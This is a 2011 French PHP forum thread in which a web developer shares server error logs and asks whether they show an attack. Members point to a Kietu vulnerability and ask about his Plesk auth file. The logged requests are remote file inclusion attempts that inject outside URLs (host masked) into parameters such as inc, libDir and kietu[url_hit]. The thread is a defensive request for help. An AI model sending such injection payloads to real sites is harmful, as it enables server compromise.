Précédent   Forum des professionnels en informatique > PHP > Langage
Langage Forum sur le langage PHP, la POO, les conventions, la sécurité, etc. Avant de poster : FAQ Langage, toutes les FAQ PHP, cours langage et sources PHP
Partagez cette discussion sur d'autres réseaux sociaux : Viadeo Twitter Google Facebook Digg Delicious MySpace Yahoo
Réponse Proposer ce sujet en actualité
 
Outils de la discussion
Publicité
'
Vieux 19/05/2011, 10h32   #1
Membre régulier
 
Avatar de Netek
 
Homme Damien Gros
Développeur Web
Inscription : mars 2011
Messages : 58
Détails du profil
Informations personnelles :
Nom : Homme Damien Gros
Âge : 25
Localisation : France, Gard (Languedoc Roussillon)

Informations professionnelles :
Activité : Développeur Web

Informations forums :
Inscription : mars 2011
Messages : 58
Points : 73
Points : 73
Envoyer un message via MSN à Netek
Par défaut Tentative d'attaque ?

Bonjour à tous,
Ce matin en regardant les logs d'erreur de mon serveur j'ai remarqué ces lignes :

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[19-May-2011 03:55:41] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:46] PHP Warning:  parse_url(/index.php?req_path=http://xxxxxx./) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:55:50] PHP Warning:  parse_url(/index.php?inc=http://xxxxxx./foo) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:24] PHP Warning:  parse_url(/index.php?doc=http://xxxxxx./foo.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(/index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:38] PHP Warning:  parse_url(//index.php?kietu[url_hit]=http://xxxxxxxx/) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:39] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:57:40] PHP Warning:  parse_url(/index.php?libDir=http://xxxxxxxx) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:09] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:10] PHP Warning:  parse_url(/index.php?function=custom&amp;custom=http://xxxxxxxx/1) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:19] PHP Warning:  parse_url(/index.php?do=ext&amp;page=http://xxxxxxxx/file) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /usr/local/psa/admin/auto_prepend/auth.php3 on line 30
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0
[19-May-2011 03:58:59] PHP Warning:  File Upload Mime headers garbled in Unknown on line 0
Cela ressemble bien a une tentative d'attaque. Avez-vous une idée de ce qu'il a essayé de faire ? Y'a t-il un risque ?

Merci pour vos conseils
Netek est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 10h43   #2
Modérateur
 
Inscription : septembre 2010
Messages : 7 103
Détails du profil
Informations forums :
Inscription : septembre 2010
Messages : 7 103
Points : 8 466
Points : 8 466
montre ton auth.php3
__________________
http://blog.stealth35.com/
stealth35 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 10h58   #3
Membre régulier
 
Avatar de Netek
 
Homme Damien Gros
Développeur Web
Inscription : mars 2011
Messages : 58
Détails du profil
Informations personnelles :
Nom : Homme Damien Gros
Âge : 25
Localisation : France, Gard (Languedoc Roussillon)

Informations professionnelles :
Activité : Développeur Web

Informations forums :
Inscription : mars 2011
Messages : 58
Points : 73
Points : 73
Envoyer un message via MSN à Netek
Ok, voici une copie du début du fichier ( que j'ai copié a partir de vi, connecté en ssh sur le serveur, je ne sais pas comment telecharger un fichier en ssh sur mon pc )

Plutot bizarre :

Code :
1
2
3
4
5
6
<?php
    die("The file {$_SERVER['SCRIPT_FILENAME']} is part of Plesk 9 distribution. It cannot be run outside of Plesk 9 environment.\n");
    __sw_loader_pragma__('P');
?>
&ÃÃ<8a><8a>^V<ê®<86>«^_ø <9d><9d>½¢që;la;^S^H\^B^Rÿ9{þ^U´^S^OÃÂ*X¾½<98>^Enù-Ã¥rH<9e>Ã<96>jJø^X^G2^Z^S<82>û^[£^Köös>¾Q@'*¢ïÂ*Ão<91>ô^G_$<97><91>öy?/R<8d>F^A\8^]^T2¨<8d>Ã
;*ÃplqÃ/¡ºÃ<8a>óe1ÃÃ'úÃó:1<94>,kÃ0ÃÃ^LÃ<9e>ºió<9b><9e>wKâG^Ly<84>H<^?¡<97>ý ¯gÃÃ÷Ã^U^Hç<8a>`Ã,X~Â*¨¿qîÃuhFé8<98>¦ì½¶¾Ã¨vòê<8d>ê<8e>ó<95>C<84>¹  ^Z^Umn:f<9e>ZÃoû<94>¼õaONWôÃ^M|<9e>a<91>Ã
Merci
Netek est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 11h01   #4
Modérateur
 
Inscription : septembre 2010
Messages : 7 103
Détails du profil
Informations forums :
Inscription : septembre 2010
Messages : 7 103
Points : 8 466
Points : 8 466
prend le via stfp
__________________
http://blog.stealth35.com/
stealth35 est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 11h10   #5
Expert Confirmé
 
Avatar de Séb.
 
Inscription : mars 2005
Messages : 2 823
Détails du profil
Informations personnelles :
Âge : 34
Localisation : France

Informations professionnelles :
Secteur : High Tech - Opérateur de télécommunications

Informations forums :
Inscription : mars 2005
Messages : 2 823
Points : 3 454
Points : 3 454
Il y a essayé d'exploiter au moins 1 faille de Kietu.
http://osvdb.org/show/osvdb/3763
__________________
Un problème exposé clairement est déjà à moitié résolu
Keep It Smart and Simple
Séb. est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 11h16   #6
Membre régulier
 
Avatar de Netek
 
Homme Damien Gros
Développeur Web
Inscription : mars 2011
Messages : 58
Détails du profil
Informations personnelles :
Nom : Homme Damien Gros
Âge : 25
Localisation : France, Gard (Languedoc Roussillon)

Informations professionnelles :
Activité : Développeur Web

Informations forums :
Inscription : mars 2011
Messages : 58
Points : 73
Points : 73
Envoyer un message via MSN à Netek
Ok je l'ai téléchargé, c'est pareil.
Il y a dans le meme dossier un fichier nommé .auth.php3.swp, tout autant illisible.
Netek est déconnecté   Envoyer un message privé Réponse avec citation 00
Vieux 19/05/2011, 11h20   #7
Membre régulier
 
Avatar de Netek
 
Homme Damien Gros
Développeur Web
Inscription : mars 2011
Messages : 58
Détails du profil
Informations personnelles :
Nom : Homme Damien Gros
Âge : 25
Localisation : France, Gard (Languedoc Roussillon)

Informations professionnelles :
Activité : Développeur Web

Informations forums :
Inscription : mars 2011
Messages : 58
Points : 73
Points : 73
Envoyer un message via MSN à Netek
Je devrais m'inquiéter alors ou pas ? Comment savoir si une des ses attaques a marché ? ( Une attaque qui n'aurait donc pas déclenché de warning et qui ne serait donc pas loguée )
Netek est déconnecté   Envoyer un message privé Réponse avec citation 00
Réponse Proposer ce sujet en actualité
Outils de la discussion



Fuseau horaire GMT +2. Il est actuellement 19h36.


 
 
 
 
Partenaires

Hébergement Web